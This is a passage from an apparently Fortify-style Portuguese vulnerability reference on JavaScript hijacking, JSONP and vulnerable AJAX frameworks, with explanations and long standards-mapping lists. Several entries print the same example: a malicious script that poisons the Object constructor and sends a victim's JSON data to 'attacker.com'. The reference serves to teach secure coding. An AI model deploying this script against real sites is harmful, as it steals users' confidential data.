Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.

Exemplo 2: Este código mostra um exemplo de método de visualização do Django que envia uma resposta JSON contendo dados confidenciais na forma de uma matriz JSON.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
O JSONP é uma técnica de comunicação não segura e só deve ser usada quando dados pessoais ou confidenciais não estão envolvidos e limpando a função de retorno de chamada.
Explanation
Por padrão, o JSONP permite a realização de solicitações entre domínios, mas não possui mecanismos para restringir e verificar origens de solicitações. Um site mal-intencionado pode facilmente realizar uma solicitação JSONP em nome do usuário e processar a resposta JSON. Por esse motivo, é altamente recomendável evitar essa técnica de comunicação quando PII ou dados confidenciais estão sendo enviados.
Por padrão, o JSONP é um ataque de XSS autoinfligido, pois o nome da função de retorno de chamada precisa ser refletido no site solicitante para o devido processamento do JSON. É obrigatório validar e limpar o nome da função de retorno de chamada a fim de evitar a injeção JavaScript. Para limpar o nome da função de retorno de chamada, considere usar uma lista de permissões, quando possível, ou restrinja os caracteres de forma que eles sejam somente alfanuméricos.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
O JSONP é uma técnica de comunicação não segura e só deve ser usada quando dados pessoais ou confidenciais não estão envolvidos.
Explanation
Por padrão, o JSONP permite a realização de solicitações entre domínios, mas não possui mecanismos para restringir e verificar origens de solicitações. Um site mal-intencionado pode facilmente realizar uma solicitação JSONP em nome do usuário e processar a resposta JSON. Por esse motivo, é altamente recomendável evitar essa técnica de comunicação quando PII ou dados confidenciais estão sendo enviados.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Aplicativos que utilizam o Microsoft AJAX.NET (Atlas) podem ser vulneráveis a sequestros de JavaScript, o que permite que um invasor não autorizado leia dados confidenciais.
Explanation
O Microsoft AJAX.NET (Atlas) usa JSON para transferir dados entre o servidor e o cliente. A estrutura produz respostas formadas por um JavaScript válido que pode ser avaliado com o uso de uma tag <script> e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura utiliza o método POST para enviar solicitações, o que torna difícil gerar uma solicitação a partir de uma tag <script> mal-intencionada (já que tags <script> geram apenas solicitações GET). No entanto, o Microsoft AJAX.NET fornece mecanismos para usar solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Os aplicativos que aproveitam a estrutura Ajax do Google Web Toolkit (GWT) podem estar vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais.
Explanation
O GWT usa JSON para transferir dados entre o servidor e o cliente. A estrutura produz respostas formadas por um JavaScript válido que pode ser avaliado com o uso de uma tag <script> e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura usa o método POST para enviar solicitações, o que torna difícil gerar um pedido a partir de uma etiqueta maliciosa <script> (uma vez que etiquetas <script> só geram solicitações GET). No entanto, o GWT fornece mecanismos para a utilização de solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
